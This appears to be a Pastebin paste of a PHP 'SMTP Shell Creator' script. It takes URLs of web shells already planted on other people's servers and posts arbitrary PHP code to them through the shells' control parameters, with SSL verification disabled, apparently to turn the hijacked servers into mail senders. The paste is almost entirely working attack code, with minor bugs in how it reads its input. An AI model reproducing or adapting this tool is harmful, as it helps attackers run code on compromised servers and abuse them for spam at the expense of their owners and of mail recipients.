Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function curl($url,$eval)
- {
- $ch=curl_init();
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "ajax=true&a=Php&c=&p1=".urlencode($eval)."&p2=&p3=&charset=Windows-1251");
- curl_setopt($ch, CURLOPT_TIMEOUT, 30);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $f = curl_exec($ch);
- $h = curl_getinfo($ch);
- curl_close($ch);
- $f=getStr($f,"innerHTML='","';");
- $f=urldecode($f);
- return $f;
- }
- function getStr($string,$start,$end){
- $str = explode($start,$string);
- $str = explode($end,$str[1]);
- return $str[0];
- }
- $php='
- your php code HERE
- ';
- print '<center><form method="POST">
- <p><span style="font-size: 20pt"><font color="#c41013">SMTP</font> Shell Creator</span></p>
- <p>Shells (<font color="#c41013">That you want to make smtp from it !</font>)<br><textarea rows="22" name="shells" cols="48">'.$shells.'</textarea></p>
- <p><input type="submit" value="Make!" name="B1"></p>
- </form></center>';
- $shells = $_POST['shells'];
- $result = curl($shells,$php);
- $result= str_replace('\r\n', "<br>\r\n", $result);
- print $result;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement